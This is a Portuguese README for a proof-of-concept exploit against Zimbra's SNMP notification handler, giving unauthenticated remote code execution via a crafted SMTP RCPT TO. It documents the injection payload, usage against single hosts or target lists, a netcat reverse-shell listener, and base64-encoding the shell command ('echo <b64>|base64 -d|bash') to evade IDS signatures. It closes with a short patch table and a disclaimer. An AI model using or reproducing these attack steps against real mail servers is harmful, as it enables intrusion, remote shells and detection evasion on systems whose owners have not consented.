
Zimbra SNMP Notification Injeção de Comando no Sistema Operacional — RCE não autenticado via exploit SMTP (Poc)
Execução Remota de Código Não Autenticada via Injeção de Comando de SO no manipulador de notificações SNMP do Zimbra Collaboration Suite.
| Campo | Valor |
|---|---|
| CVE | CVE-2026-73570 |
| CVSS 3.1 | 8.9 ALTA — AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L |
| CWE | CWE-78 — Neutralização Incorreta de Elementos Especiais usados em um Comando de SO |
| Afetado | Zimbra ZCS < 10.1.20 (com zimbra-snmp instalado) |
| Corrigido em | ZCS 10.1.20 — Julho de 2026 |
| CISA KEV | Adicionado em 2026-08-21 (prazo de remediação FCEB: 2026-08-24) |
| Autenticação necessária | Nenhuma |
| Execução como | usuário de SO zimbra |
O pacote opcional zimbra-snmp inclui uma regra swatchdog que monitora /var/log/zimbra.log em busca de linhas que correspondam a:
Service status change: <NAME> changed from <STATE> to <STATE>
Quando uma correspondência é encontrada, o swatchdog passa o campo <NAME> capturado diretamente para o script de shell de notificação SNMP sem qualquer sanitização.
Um atacante não autenticado pode injetar uma entrada de log elaborada enviando um comando SMTP RCPT TO especialmente formatado. Usando um local-part entre aspas conforme a RFC 5321, metacaracteres de shell — por exemplo, $(...) — são incorporados dentro de <NAME> e executados quando o swatchdog processa a linha de log resultante.
Todas as três condições devem ser verdadeiras no alvo para que a vulnerabilidade seja explorável:
zimbra-snmp está instaladosnmp_notify = true)swatchdog está em execuçãoAttacker Zimbra MTA
│ │
│── TCP connect :25/:465/:587 ────►│
│── EHLO mx-test.invalid ─────────►│
│── MAIL FROM:<scanner@...> ──────►│
│── RCPT TO:<"x: Service status │
│ change: localhost $(CMD) │
│ changed from stopped to │
│ running"@cve.invalid> ──────►│
│ │── logs RCPT TO data ──► /var/log/zimbra.log
│ │ │
│ │ swatchdog matches
│ │ pattern, extracts
│ │ $(CMD), executes
│◄─────────── shell callback ───────────────────────────────────────┘
RCPT TO armado.swatchdog corresponde ao padrão do log e extrai o $(CMD) injetado.CMD como o usuário do sistema operacional zimbra.cpan IO::Socket::SSL MIME::Base64 Digest::HMAC_MD5
ou via apt-get
apt-get install libio-socket-ssl-perl libmime-base64-perl libdigest-hmac-perl
ou via yum
yum install perl-IO-Socket-SSL perl-MIME-Base64 perl-Digest-HMAC
perl zimbra-poc.pl -H mail.target.com -r <YOUR_IP> -R 4444
perl zimbra-poc.pl -f targets.txt -r <YOUR_IP> -R 4444
targets.txt — um host por linha, :port opcional, linhas que começam com # são ignoradas:
mail.example.com
mail.example.com:25
10.0.0.50:587
# ignored comment
| Flag | Longa | Padrão | Descrição |
|---|---|---|---|
-H | --host | — | Nome de host ou IP de destino único |
-f | --file | — | Arquivo contendo a lista de alvos |
-p | --port | 587 | Porta SMTP padrão |
-r | --rhost | — | Seu IP para o callback do reverse shell |
-R | --rport | 4444 | Porta do listener |
-t | --timeout | 15 | Timeout do socket em segundos |
-S | --ssl | off | TLS direto (ativado automaticamente na porta 465) |
-v | --verbose | off | Exibir o diálogo SMTP completo |
-L | --logfile | — | Gravar o log da sessão em arquivo |
-h | --help | — | Mostrar ajuda |
# Terminal 1 — start listener
nc -lvnp 4444
# Terminal 2 — run exploit
perl zimbra-poc.pl -H mail.target.com -r 10.10.10.1 -R 4444 -v
O comando de reverse shell é codificado em base64 antes da injeção:
echo <b64>|base64 -d|bash
Isso impede que IDS/IPS correspondam a assinaturas de texto simples como /dev/tcp, bash -i ou nc -e. O blob codificado é injetado como $(...) dentro da parte local entre aspas do RCPT TO, acionando a execução no lado do servidor quando o swatchdog processa a entrada de log.
| Ação | Detalhe |
|---|---|
| Patch | Atualize para Zimbra ZCS ≥ 10.1.20 |
| Desativar notificação SNMP | zmprov mcf zimbraSnmpNotifyEnabled FALSE && zmconfigdctl restart |
| Remover pacote | apt remove zimbra-snmp / yum remove zimbra-snmp |
| Controles de rede | Restrinja o SMTP de entrada (25/465/587) a relays confiáveis onde for operacionalmente viável |
Esta prova de conceito é disponibilizada apenas para testes de segurança autorizados, pesquisa acadêmica e fins defensivos.
Executá-la contra sistemas que você não possui ou para os quais não tem permissão escrita explícita de teste é ilegal.
O autor não assume qualquer responsabilidade por qualquer uso indevido ou dano causado por esta ferramenta.